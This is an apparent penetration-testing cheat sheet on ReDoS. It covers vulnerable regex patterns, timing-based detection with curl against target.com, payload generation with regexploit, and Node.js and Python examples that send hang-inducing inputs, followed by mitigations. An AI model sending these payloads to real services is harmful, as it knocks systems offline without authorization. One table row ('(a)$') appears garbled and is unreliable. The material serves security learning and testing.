ReDoS

Overview

ReDoS (Regular Expression Denial of Service) abuses backtracking behavior in regex engines. A crafted input forces the engine into exponential or polynomial time evaluation, stalling the application. Most languages use NFA-based engines (PCRE, Java, Python re, JavaScript). These are vulnerable. DFA-based engines (Go regexp, RE2) are immune.

How Backtracking Works

Vulnerable pattern: ^(a+)+$ Input: "aaaaaaaaaaaaaaaaab" Engine tries every combination of how (a+) groups can split the as before failing on b. With n characters, attempts grow as 2^n.

n=10  → ~1024 attempts
n=20  → ~1048576 attempts
n=30  → ~1073741824 attempts

Vulnerable Patterns

Pattern	Why Vulnerable
`(a+)+$`	Nested quantifiers — `$` forces failure, exponential backtracking
`(a\|aa)+$`	Alternation overlap — engine tries all branch combos before failing
`([a-zA-Z]+)*$`	Outer `*` + inner `+` over same charset — exponential splits
`(a)$`	Nested Kleene stars — exponential empty-match combinations
`^(\w+\s?)*$`	Anchors force full-string match — exponential partition of word chars

Identifying Vulnerable Targets

Black-Box Detection

Send inputs that grow exponentially and measure response time:

# Baseline
curl -s -o /dev/null -w "%{time_total}" -X POST https://target.com/api/validate \
  -d 'input=aaaa'

# Stress
curl -s -o /dev/null -w "%{time_total}" -X POST https://target.com/api/validate \
  -d 'input=aaaaaaaaaaaaaaaaaaaaaaaaaab'

Response time doubling with each added character = strong signal.

Source Code Audit

Look for regex applied to user-controlled input:

# Grep for dangerous nested quantifiers
grep -rE '\([^)]*[+*]\)[+*]' --include="*.js" --include="*.py" --include="*.php" .

# Find regex applied to request params
grep -rE '(re\.match|re\.search|preg_match|\.test\()' --include="*.py" --include="*.php" --include="*.js" .

Exploitation

Payload Generation

General approach — find the prefix before a failing anchor, repeat the vulnerable group:

vulnerable: ^(\w+\s?)*$
anchor fail: "!" (not \w or \s)
payload: "aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa!"

Automate with vuln-regex-detector or regexploit:

# regexploit — finds exploit string for a given pattern
pip install regexploit
echo '^(\w+\s?)*$' | regexploit

Node.js Example

// Vulnerable endpoint
app.post('/validate', (req, res) => {
  const email = req.body.email;
  if (/^([a-zA-Z0-9])(([a-zA-Z0-9])*([\._-])?([a-zA-Z0-9]))*(@{1})([a-zA-Z0-9-]+)(\.[a-zA-Z][a-zA-Z]+){1,2}$/.test(email)) {
    res.send('valid');
  } else {
    res.send('invalid');
  }
});

// Attack payload
const payload = 'a'.repeat(50) + '!';
// Hangs the event loop — blocks all requests

Python Example

import re

# Vulnerable
pattern = re.compile(r'^(a+)+$')
pattern.match('a' * 30 + 'b')  # ~seconds

# Exploit via HTTP input
import requests
payload = 'a' * 35 + '!'
requests.post('http://target.com/check', data={'input': payload}, timeout=30)

Tools

Tool	Use
regexploit	Generate exploit strings for vulnerable patterns
vuln-regex-detector	Static analysis — detect vulnerable patterns
ReDoS checker	Online — paste pattern, get verdict + exploit string
regex101	Online — build and debug regex with step-by-step match trace

Mitigation (Reference)

Replace NFA engines with RE2/Hyperscan where possible
Enforce input length limits before regex evaluation
Use atomic groups or possessive quantifiers if engine supports
Timeout regex evaluation (Python signal, Java ExecutorService)

Test only in authorized environments. Sending ReDoS payloads to production systems without permission = unauthorized DoS.

Recon

SQL Injection

Headers & Cookies

Vulnerabilities

Denial of Service

Overview

How Backtracking Works

Vulnerable Patterns

Identifying Vulnerable Targets

Black-Box Detection

Source Code Audit

Exploitation

Payload Generation

Node.js Example

Python Example

Tools

Mitigation (Reference)

​Overview

​How Backtracking Works

​Vulnerable Patterns

​Identifying Vulnerable Targets

​Black-Box Detection

​Source Code Audit

​Exploitation

​Payload Generation

​Node.js Example

​Python Example

​Tools

​Mitigation (Reference)

Overview

How Backtracking Works

Vulnerable Patterns

Identifying Vulnerable Targets

Black-Box Detection

Source Code Audit

Exploitation

Payload Generation

Node.js Example

Python Example

Tools

Mitigation (Reference)